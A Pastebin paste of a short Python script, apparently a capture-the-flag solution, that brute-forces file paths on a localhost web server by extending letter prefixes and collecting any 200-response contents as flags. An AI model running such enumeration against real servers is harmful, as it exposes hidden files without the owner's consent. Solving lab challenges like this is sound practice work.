Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Please don't judge my scripting too harshly, I am very sleep deprived.
- import requests
- import string
- BASE_URL = "http://localhost:3000" # Server URL
- ALPHABET = string.ascii_lowercase # All alphabets
- flags = {} # Dictionary to store the most recent filename for each flag
- found_patterns = set() # Set to track checked patterns
- request_count = 0 # Counter to track the number of requests made
- def check_pattern(pattern):
- global found_patterns, request_count
- response = requests.get(f"{BASE_URL}/{pattern}")
- request_count += 1
- # Print request count at intervals of 100
- if request_count % 100 == 0:
- print(f"Requests made: {request_count}",end='\r')
- if response.status_code == 200:
- content = response.text.strip()
- if pattern not in found_patterns:
- found_patterns.add(pattern)
- flags[content] = pattern # Update the dictionary with the most recent pattern for each flag content by overwriting it
- return True
- return False
- def brute_force():
- # Step 1: Start with single characters [I did it like this because my brain wasn't working on 2 hours of sleep]
- to_check = list(ALPHABET)
- # Step 2: Iteratively build patterns via extension
- while to_check:
- current_pattern = to_check.pop(0) # Pop off patterns that are being checked
- if check_pattern(current_pattern):
- # Generate new patterns by extending current pattern with each alphabet letter
- for char in ALPHABET:
- new_pattern = current_pattern + char
- if new_pattern not in found_patterns:
- to_check.append(new_pattern)
- # Also try appending a dot if not already present
- if '.' not in current_pattern:
- dot_pattern = current_pattern + '.'
- if dot_pattern not in found_patterns:
- to_check.append(dot_pattern)
- # Print final summary with all unique flags and their most recent associated filename
- print("\nSummary of found flags:")
- print(f"Total requests made: {request_count}")
- for content, filename in flags.items():
- print(f"Flag: {content} | Most recent filename: {filename}")
- if __name__ == "__main__":
- brute_force()
Advertisement
Add Comment
Please, Sign In to add comment